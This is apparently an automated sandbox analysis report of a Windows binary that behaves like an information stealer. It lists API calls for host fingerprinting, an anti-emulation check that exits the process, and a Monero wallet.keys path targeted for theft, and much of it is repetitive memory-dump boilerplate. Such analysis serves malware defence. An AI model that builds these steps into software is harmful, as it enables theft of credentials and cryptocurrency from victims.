StrCmpCA.SHLWAPI(00000000,01869000), ref: 0101099D

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 7fe4e3f975839fd8a2bc95c646b6f79147eabb3a10a99088655d48de986b4b52
Instruction ID: 12b9dc3af98a5b035cdddafb2dbb39b8a1e6aa1632e1238c7f6632099dff834d
Opcode Fuzzy Hash: 7fe4e3f975839fd8a2bc95c646b6f79147eabb3a10a99088655d48de986b4b52
Instruction Fuzzy Hash: B491A675B00249DFCB28EF64D995AEDB7B5FF94300F408119E84A8F285DB349B06CB81

Function 01010765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01868F60), ref: 0101079A
StrCmpCA.SHLWAPI(00000000,01868FF0), ref: 01010866
StrCmpCA.SHLWAPI(00000000,01869000), ref: 0101099D

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: e3cbb01f9efb3e991ff2152f9e57d906e83e70b02b997bd6dbcf0582333adbdc
Instruction ID: b55c9fbd14b7255c03a5ad6a8da05c0a73d328ecb0f1f5b2c9e70b6cce3a3d40
Opcode Fuzzy Hash: e3cbb01f9efb3e991ff2152f9e57d906e83e70b02b997bd6dbcf0582333adbdc
Instruction Fuzzy Hash: 7E819675B10249DFCB28EF64D994AEDB7B6FF94300F508119E84A9F245DB34AB06CB81

Function 010170D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

memset.MSVCRT ref: 0101716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0101718C

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4138519520
Opcode ID: 5fa44117ceb4d52ac07195ef6ddd5dd49d7af376361dfcc7bd0980bde9ec590f
Instruction ID: 5ca412d0068d1c0c926023bf6dfd213e01ebea20063e58e7d15f46302bc65cc4
Opcode Fuzzy Hash: 5fa44117ceb4d52ac07195ef6ddd5dd49d7af376361dfcc7bd0980bde9ec590f
Instruction Fuzzy Hash: A051B0B1D40219DFDB64EBA4CC84BEEB3B4AF54304F1080A8E68577185EB786E89CF55

Function 010178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017910
RtlAllocateHeap.NTDLL(00000000), ref: 01017917
GetComputerNameA.KERNEL32(?,00000104), ref: 0101792F

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 43b2fc19d6f4f879c5b9401a6e5670f06f016c13127219255556d34217ce918f
Instruction ID: 76799c8f47c6fc9dcdf894da853776df2d69752832cbf4562ace2758fe54fe12
Opcode Fuzzy Hash: 43b2fc19d6f4f879c5b9401a6e5670f06f016c13127219255556d34217ce918f
Instruction Fuzzy Hash: 3F01A9B1944204EFD710DF99D949BAEBBF8F704B11F10425AF546E3284C37855048BA1

Function 01019470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 01019484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 010194A5
CloseHandle.KERNEL32(00000000), ref: 010194AF

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: fa4209b8a387bb29cd917cbed61602a4a7a189bd1ee95f5bcbcfbdc66fcdb030
Instruction ID: 113e9fb3092cef818576d353a080e3824b734d2469d93605af63416a203ce98d
Opcode Fuzzy Hash: fa4209b8a387bb29cd917cbed61602a4a7a189bd1ee95f5bcbcfbdc66fcdb030
Instruction Fuzzy Hash: ECF0547994020CFBEB15DF94DC4DFED7778FB08710F004494BA0A57184D6B45A85CB90

Function 01001110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0100112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 01001132
ExitProcess.KERNEL32 ref: 01001143

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 67505a5fda84d15429c014f2785630c48439c6f2e9dd10a70808eda29af1ce64
Instruction ID: b14bc6418a705a58dce4af23809a07362c270a096ef0273ab066f58b4f480002
Opcode Fuzzy Hash: 67505a5fda84d15429c014f2785630c48439c6f2e9dd10a70808eda29af1ce64
Instruction Fuzzy Hash: F5E0E674A85308FBF765ABA4AC0EB4D76B8EF04B05F504054F70A771C4D6B566009799

Function 01011A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01017500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 01017542
Part of subcall function 01017500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0101757F
Part of subcall function 01017500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017603
Part of subcall function 01017500: RtlAllocateHeap.NTDLL(00000000), ref: 0101760A

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 01017690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 010176A4
Part of subcall function 01017690: RtlAllocateHeap.NTDLL(00000000), ref: 010176AB

Part of subcall function 010177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0101DBC0,000000FF,?,01011C99,00000000,?,0186DA68,00000000,?), ref: 010177F2
Part of subcall function 010177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0101DBC0,000000FF,?,01011C99,00000000,?,0186DA68,00000000,?), ref: 010177F9

Part of subcall function 01017850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,010011B7), ref: 01017880
Part of subcall function 01017850: RtlAllocateHeap.NTDLL(00000000), ref: 01017887
Part of subcall function 01017850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0101789F

Part of subcall function 010178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017910
Part of subcall function 010178E0: RtlAllocateHeap.NTDLL(00000000), ref: 01017917
Part of subcall function 010178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0101792F

Part of subcall function 01017980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01020E00,00000000,?), ref: 010179B0
Part of subcall function 01017980: RtlAllocateHeap.NTDLL(00000000), ref: 010179B7
Part of subcall function 01017980: GetLocalTime.KERNEL32(?,?,?,?,?,01020E00,00000000,?), ref: 010179C4
Part of subcall function 01017980: wsprintfA.USER32 ref: 010179F3

Part of subcall function 01017A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0186E230,00000000,?,01020E10,00000000,?,00000000,00000000), ref: 01017A63
Part of subcall function 01017A30: RtlAllocateHeap.NTDLL(00000000), ref: 01017A6A
Part of subcall function 01017A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0186E230,00000000,?,01020E10,00000000,?,00000000,00000000,?), ref: 01017A7D

Part of subcall function 01017B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0186E230,00000000,?,01020E10,00000000,?,00000000,00000000), ref: 01017B35

Part of subcall function 01017B90: GetKeyboardLayoutList.USER32(00000000,00000000,010205AF), ref: 01017BE1
Part of subcall function 01017B90: LocalAlloc.KERNEL32(00000040,?), ref: 01017BF9
Part of subcall function 01017B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 01017C0D
Part of subcall function 01017B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 01017C62
Part of subcall function 01017B90: LocalFree.KERNEL32(00000000), ref: 01017D22

Part of subcall function 01017D80: GetSystemPowerStatus.KERNEL32(?), ref: 01017DAD

GetCurrentProcessId.KERNEL32(00000000,?,0186D868,00000000,?,01020E24,00000000,?,00000000,00000000,?,0186E2C0,00000000,?,01020E20,00000000), ref: 0101207E

Part of subcall function 01019470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 01019484
Part of subcall function 01019470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 010194A5
Part of subcall function 01019470: CloseHandle.KERNEL32(00000000), ref: 010194AF

Part of subcall function 01017E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017E37
Part of subcall function 01017E00: RtlAllocateHeap.NTDLL(00000000), ref: 01017E3E
Part of subcall function 01017E00: RegOpenKeyExA.KERNEL32(80000002,0185C058,00000000,00020119,?), ref: 01017E5E
Part of subcall function 01017E00: RegQueryValueExA.KERNEL32(?,0186DB68,00000000,00000000,000000FF,000000FF), ref: 01017E7F
Part of subcall function 01017E00: RegCloseKey.ADVAPI32(?), ref: 01017E92

Part of subcall function 01017F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 01017FC9
Part of subcall function 01017F60: GetLastError.KERNEL32 ref: 01017FD8

Part of subcall function 01017ED0: GetSystemInfo.KERNEL32(01020E2C), ref: 01017F00
Part of subcall function 01017ED0: wsprintfA.USER32 ref: 01017F16

Part of subcall function 01018100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0186E368,00000000,?,01020E2C,00000000,?,00000000), ref: 01018130
Part of subcall function 01018100: RtlAllocateHeap.NTDLL(00000000), ref: 01018137
Part of subcall function 01018100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 01018158
Part of subcall function 01018100: __aulldiv.LIBCMT ref: 01018172
Part of subcall function 01018100: __aulldiv.LIBCMT ref: 01018180
Part of subcall function 01018100: wsprintfA.USER32 ref: 010181AC

Part of subcall function 010187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01020E28,00000000,?), ref: 0101882F
Part of subcall function 010187C0: RtlAllocateHeap.NTDLL(00000000), ref: 01018836
Part of subcall function 010187C0: wsprintfA.USER32 ref: 01018850

Part of subcall function 01018320: RegOpenKeyExA.KERNEL32(00000000,0186B490,00000000,00020019,00000000,010205B6), ref: 010183A4

Part of subcall function 01018320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01018426
Part of subcall function 01018320: wsprintfA.USER32 ref: 01018459
Part of subcall function 01018320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0101847B
Part of subcall function 01018320: RegCloseKey.ADVAPI32(00000000), ref: 0101848C
Part of subcall function 01018320: RegCloseKey.ADVAPI32(00000000), ref: 01018499

Part of subcall function 01018680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,010205B7), ref: 010186CA
Part of subcall function 01018680: Process32First.KERNEL32(?,00000128), ref: 010186DE
Part of subcall function 01018680: Process32Next.KERNEL32(?,00000128), ref: 010186F3
Part of subcall function 01018680: CloseHandle.KERNEL32(?), ref: 01018761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0101265B

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
